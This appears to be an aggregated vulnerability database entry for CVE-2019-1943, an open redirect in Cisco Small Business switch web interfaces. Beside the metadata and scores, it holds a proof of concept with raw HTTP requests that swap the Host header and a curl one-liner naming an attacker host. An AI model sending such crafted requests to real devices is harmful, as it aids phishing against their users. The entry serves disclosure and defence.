Details of VAR-201907-0394

ID

VAR-201907-0394

CVE

CVE-2019-1943

TITLE

plural Cisco Small Business Series redirect software open redirect vulnerability

Trust: 0.8

sources: JVNDB: JVNDB-2019-007074

DESCRIPTION

A vulnerability in the web interface of Cisco Small Business 200, 300, and 500 Series Switches software could allow an unauthenticated, remote attacker to redirect a user to a malicious web page. The vulnerability is due to improper input validation of the parameters of an HTTP request. An attacker could exploit this vulnerability by intercepting a user's HTTP request and modifying it into a request that causes the web interface to redirect the user to a specific malicious URL. This type of vulnerability is known as an open redirect attack and is used in phishing attacks that get users to unknowingly visit malicious sites. CiscoSmallBusiness200SeriesManagedSwitches, etc. are products of Cisco. CiscoSmallBusiness200SeriesManagedSwitches is a 200 Series Managed Switch. Security vulnerabilities exist in CiscoSmallBusiness200, 300, and 500Switches. An attacker can leverage this issue by constructing a crafted URI and enticing a user to follow it. When an unsuspecting victim follows the link, they may be redirected to an attacker-controlled site; this may aid in phishing attacks. Other attacks are possible. This issue is being tracked by Cisco Bug ID CSCvp23218. ************************************************************************************************************************************* Can change to different domain under the host header and redirect the request to fake website and can be used for phishing attack also can be used for domain fronting. Normal Request GET / HTTP/1.1 Host: 10.1.1.120 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Connection: close Cache-Control: max-age=0 Normal Response HTTP/1.1 302 Redirect Server: GoAhead-Webs Date: Fri Mar 07 09:40:22 2014 Connection: close Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Location: https://10.21.151.120/cs703dae2c/ <html><head></head><body> This document has moved to a new <a href="https://10.1.1.120/cs703dae2c/">location</a>. Please update your documents to reflect the new location. </body></html> ************************************************************************************************************************************* POC ************************************************************************************************************************************* Host Header changed to different domain (example google.com). Request: GET /cs703dae2c HTTP/1.1 Host: google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: activeLangId=English; isStackableDevice=false Upgrade-Insecure-Requests: 1 Response: HTTP/1.1 302 Redirect activeLangId=English; isStackableDevice=falseServer: GoAhead-Webs Date: Fri Mar 07 09:45:26 2014 Connection: close Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Location: http://google.com/cs703dae2c/config/log_off_page.htm <html><head></head><body> This document has moved to a new <a href="http://google.com/cs703dae2c/config/log_off_page.htm">location</a>. Please update your documents to reflect the new location. </body></html> The redirection is happening to http://google.com/cs703dae2c/config/log_off_page.htm. The attacker need to be in same network and should be able to modify the victims request on the wire in order to trigger this vulnerabilty. ************************************************************************************************************************************* Attack Vector: ************************************************************************************************************************************* Can be used for domain fronting. curl -k --header "Host: attack.host.net" "domainname of the cisco device" ************************************************************************************************************************************* Vendor Response: ************************************************************************************************************************************* Issue 1: Due to the limited information given out, we are not considering it a vulnerability as such. Still, it would be better if it was not happening, so, we will treat it as a hardening enhancement. Issue 2: The developers won't be able to provide a fix for this in the short term (90 days), so, we are planning to disclose this issue through an advisory on July 17th 2019. We have assigned CVE CVE-2019-1943 for this issue. Reference: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190717-sbss-redirect *************************************************************************************************************************************

Trust: 2.61

sources: NVD: CVE-2019-1943 // JVNDB: JVNDB-2019-007074 // CNVD: CNVD-2019-23151 // BID: 109288 // VULHUB: VHN-151875 // PACKETSTORM: 153629

IOT TAXONOMY

category:

['Network device']

sub_category:

Trust: 0.6

sources: CNVD: CNVD-2019-23151

AFFECTED PRODUCTS

vendor:	cisco	model:	sg200-50p	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg300-28mp	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sf500-48	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sf500-24	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sf300-48p	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sf300-08	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sg500x-24p	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sf200-48p	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg500-52p	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg300-10p	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sf300-24mp	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sf302-08p	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sg500x-24	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg500-28	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg500-28p	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sf200-24	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg500x-48p	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sf302-08	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sg200-18	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sf302-08mp	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sg200-10fp	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg200-50	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sf302-08mpp	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sg300-10mpp	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sg300-28p	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sg500-28mpp	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg200-26	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg300-10mp	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sg500x-48	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg200-08p	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg300-10pp	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sg300-52p	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sf200-48	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg500xg-8f8t	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg300-10sfp	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sg200-08	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sf300-24	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sf300-24pp	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sg300-52mp	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sg500-52	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg200-50fp	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg200-26fp	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sf300-48pp	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sg500-52mp	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sf300-24p	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sg300-28pp	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sf300-48	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sg200-26p	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg300-28	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sf302-08pp	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sg300-52	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sf500-24p	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sf500-48p	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg300-20	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sf200-24p	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg300-10	scope:	eq	version:	1.3.7.18	Trust: 1.0
vendor:	cisco	model:	sf200-24fp	scope:	eq	version:	-	Trust: 1.0
vendor:	cisco	model:	sg200-08	scope:	-	version:	-	Trust: 0.8
vendor:	cisco	model:	sg200-08p	scope:	-	version:	-	Trust: 0.8
vendor:	cisco	model:	sg200-10fp	scope:	-	version:	-	Trust: 0.8
vendor:	cisco	model:	sg200-18	scope:	-	version:	-	Trust: 0.8
vendor:	cisco	model:	sg200-26	scope:	-	version:	-	Trust: 0.8
vendor:	cisco	model:	sg200-26fp	scope:	-	version:	-	Trust: 0.8
vendor:	cisco	model:	sg200-26p	scope:	-	version:	-	Trust: 0.8
vendor:	cisco	model:	sg200-50	scope:	-	version:	-	Trust: 0.8
vendor:	cisco	model:	sg200-50fp	scope:	-	version:	-	Trust: 0.8
vendor:	cisco	model:	sg200-50p	scope:	-	version:	-	Trust: 0.8
vendor:	cisco	model:	small business series managed switches	scope:	eq	version:	300	Trust: 0.6
vendor:	cisco	model:	small business series managed switches	scope:	eq	version:	200	Trust: 0.6
vendor:	cisco	model:	small business series managed switches	scope:	eq	version:	500	Trust: 0.6
vendor:	cisco	model:	small business series stackable managed switches	scope:	eq	version:	5000	Trust: 0.3
vendor:	cisco	model:	small business series managed switches	scope:	eq	version:	3000	Trust: 0.3
vendor:	cisco	model:	small business series smart switches	scope:	eq	version:	2000	Trust: 0.3

sources: CNVD: CNVD-2019-23151 // BID: 109288 // JVNDB: JVNDB-2019-007074 // NVD: CVE-2019-1943

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov:	CVE-2019-1943
value:	MEDIUM
Trust: 1.0
ykramarz@cisco.com:	CVE-2019-1943
value:	MEDIUM
Trust: 1.0
NVD:	CVE-2019-1943
value:	MEDIUM
Trust: 0.8
CNVD:	CNVD-2019-23151
value:	MEDIUM
Trust: 0.6
CNNVD:	CNNVD-201907-779
value:	MEDIUM
Trust: 0.6
VULHUB:	VHN-151875
value:	MEDIUM
Trust: 0.1

nvd@nist.gov:	CVE-2019-1943
severity:	MEDIUM
baseScore:	5.8
vectorString:	AV:N/AC:M/AU:N/C:P/I:P/A:N
accessVector:	NETWORK
accessComplexity:	MEDIUM
authentication:	NONE
confidentialityImpact:	PARTIAL
integrityImpact:	PARTIAL
availabilityImpact:	NONE
exploitabilityScore:	8.6
impactScore:	4.9
acInsufInfo:	NONE
obtainAllPrivilege:	NONE
obtainUserPrivilege:	NONE
obtainOtherPrivilege:	NONE
userInteractionRequired:	NONE
version:	2.0
Trust: 1.8
CNVD:	CNVD-2019-23151
severity:	MEDIUM
baseScore:	4.0
vectorString:	AV:N/AC:H/AU:N/C:P/I:P/A:N
accessVector:	NETWORK
accessComplexity:	HIGH
authentication:	NONE
confidentialityImpact:	PARTIAL
integrityImpact:	PARTIAL
availabilityImpact:	NONE
exploitabilityScore:	4.9
impactScore:	4.9
acInsufInfo:	NONE
obtainAllPrivilege:	NONE
obtainUserPrivilege:	NONE
obtainOtherPrivilege:	NONE
userInteractionRequired:	NONE
version:	2.0
Trust: 0.6
VULHUB:	VHN-151875
severity:	MEDIUM
baseScore:	5.8
vectorString:	AV:N/AC:M/AU:N/C:P/I:P/A:N
accessVector:	NETWORK
accessComplexity:	MEDIUM
authentication:	NONE
confidentialityImpact:	PARTIAL
integrityImpact:	PARTIAL
availabilityImpact:	NONE
exploitabilityScore:	8.6
impactScore:	4.9
acInsufInfo:	NONE
obtainAllPrivilege:	NONE
obtainUserPrivilege:	NONE
obtainOtherPrivilege:	NONE
userInteractionRequired:	NONE
version:	2.0
Trust: 0.1

nvd@nist.gov:	CVE-2019-1943
baseSeverity:	MEDIUM
baseScore:	6.1
vectorString:	CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
attackVector:	NETWORK
attackComplexity:	LOW
privilegesRequired:	NONE
userInteraction:	REQUIRED
scope:	CHANGED
confidentialityImpact:	LOW
integrityImpact:	LOW
availabilityImpact:	NONE
exploitabilityScore:	2.8
impactScore:	2.7
version:	3.0
Trust: 1.8
ykramarz@cisco.com:	CVE-2019-1943
baseSeverity:	MEDIUM
baseScore:	4.7
vectorString:	CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
attackVector:	NETWORK
attackComplexity:	HIGH
privilegesRequired:	NONE
userInteraction:	REQUIRED
scope:	CHANGED
confidentialityImpact:	LOW
integrityImpact:	LOW
availabilityImpact:	NONE
exploitabilityScore:	1.6
impactScore:	2.7
version:	3.0
Trust: 1.0

sources: CNVD: CNVD-2019-23151 // VULHUB: VHN-151875 // JVNDB: JVNDB-2019-007074 // CNNVD: CNNVD-201907-779 // NVD: CVE-2019-1943 // NVD: CVE-2019-1943

PROBLEMTYPE DATA

problemtype:

CWE-601

Trust: 1.9

sources: VULHUB: VHN-151875 // JVNDB: JVNDB-2019-007074 // NVD: CVE-2019-1943

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201907-779

TYPE

input validation error

Trust: 0.6

sources: CNNVD: CNNVD-201907-779

CONFIGURATIONS

sources: JVNDB: JVNDB-2019-007074

PATCH

title:

cisco-sa-20190717-sbss-redirect

url:

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190717-sbss-redirect

Trust: 0.8

sources: JVNDB: JVNDB-2019-007074

EXTERNAL IDS

db:	NVD	id:	CVE-2019-1943	Trust: 3.5
db:	BID	id:	109288	Trust: 2.0
db:	PACKETSTORM	id:	153629	Trust: 0.8
db:	JVNDB	id:	JVNDB-2019-007074	Trust: 0.8
db:	CNNVD	id:	CNNVD-201907-779	Trust: 0.7
db:	CXSECURITY	id:	WLB-2019070068	Trust: 0.6
db:	CNVD	id:	CNVD-2019-23151	Trust: 0.6
db:	NSFOCUS	id:	43839	Trust: 0.6
db:	EXPLOIT-DB	id:	47118	Trust: 0.6
db:	AUSCERT	id:	ESB-2019.2681	Trust: 0.6
db:	VULHUB	id:	VHN-151875	Trust: 0.1

sources: CNVD: CNVD-2019-23151 // VULHUB: VHN-151875 // BID: 109288 // JVNDB: JVNDB-2019-007074 // PACKETSTORM: 153629 // CNNVD: CNNVD-201907-779 // NVD: CVE-2019-1943

REFERENCES

url:	https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20190717-sbss-redirect	Trust: 2.1
url:	http://www.securityfocus.com/bid/109288	Trust: 1.7
url:	https://nvd.nist.gov/vuln/detail/cve-2019-1943	Trust: 1.5
url:	http://www.cisco.com/	Trust: 0.9
url:	https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2019-1943	Trust: 0.8
url:	https://cxsecurity.com/issue/wlb-2019070068http	Trust: 0.6
url:	http://www.nsfocus.net/vulndb/43839	Trust: 0.6
url:	https://packetstormsecurity.com/files/153629/cisco-small-business-switch-information-leakage-open-redirect.html	Trust: 0.6
url:	https://www.exploit-db.com/exploits/47118	Trust: 0.6
url:	https://www.auscert.org.au/bulletins/esb-2019.2681/	Trust: 0.6
url:	http://google.com/cs703dae2c/config/log_off_page.htm">location</a>.	Trust: 0.1
url:	http://google.com/cs703dae2c/config/log_off_page.htm	Trust: 0.1
url:	https://www.cisco.com/c/en/us/products/switches/small-business-300-series-managed-switches/index.html	Trust: 0.1
url:	https://10.1.1.120/cs703dae2c/">location</a>.	Trust: 0.1
url:	http://fact-in-hack.blogspot.com	Trust: 0.1
url:	http://google.com/cs703dae2c/config/log_off_page.htm.	Trust: 0.1
url:	https://10.21.151.120/cs703dae2c/	Trust: 0.1

sources: CNVD: CNVD-2019-23151 // VULHUB: VHN-151875 // BID: 109288 // JVNDB: JVNDB-2019-007074 // PACKETSTORM: 153629 // CNNVD: CNNVD-201907-779 // NVD: CVE-2019-1943

CREDITS

Ramikan,Ramikan of CT Pentest .

Trust: 0.6

sources: CNNVD: CNNVD-201907-779

SOURCES

db:	CNVD	id:	CNVD-2019-23151
db:	VULHUB	id:	VHN-151875
db:	BID	id:	109288
db:	JVNDB	id:	JVNDB-2019-007074
db:	PACKETSTORM	id:	153629
db:	CNNVD	id:	CNNVD-201907-779
db:	NVD	id:	CVE-2019-1943

LAST UPDATE DATE

2024-11-23T23:01:48.354000+00:00

SOURCES UPDATE DATE

db:	CNVD	id:	CNVD-2019-23151	date:	2019-07-18T00:00:00
db:	VULHUB	id:	VHN-151875	date:	2019-10-09T00:00:00
db:	BID	id:	109288	date:	2019-07-17T00:00:00
db:	JVNDB	id:	JVNDB-2019-007074	date:	2019-07-31T00:00:00
db:	CNNVD	id:	CNNVD-201907-779	date:	2019-08-15T00:00:00
db:	NVD	id:	CVE-2019-1943	date:	2024-11-21T04:37:44.213

SOURCES RELEASE DATE

db:	CNVD	id:	CNVD-2019-23151	date:	2019-07-18T00:00:00
db:	VULHUB	id:	VHN-151875	date:	2019-07-17T00:00:00
db:	BID	id:	109288	date:	2019-07-17T00:00:00
db:	JVNDB	id:	JVNDB-2019-007074	date:	2019-07-31T00:00:00
db:	PACKETSTORM	id:	153629	date:	2019-07-15T02:22:22
db:	CNNVD	id:	CNNVD-201907-779	date:	2019-07-15T00:00:00
db:	NVD	id:	CVE-2019-1943	date:	2019-07-17T21:15:12.453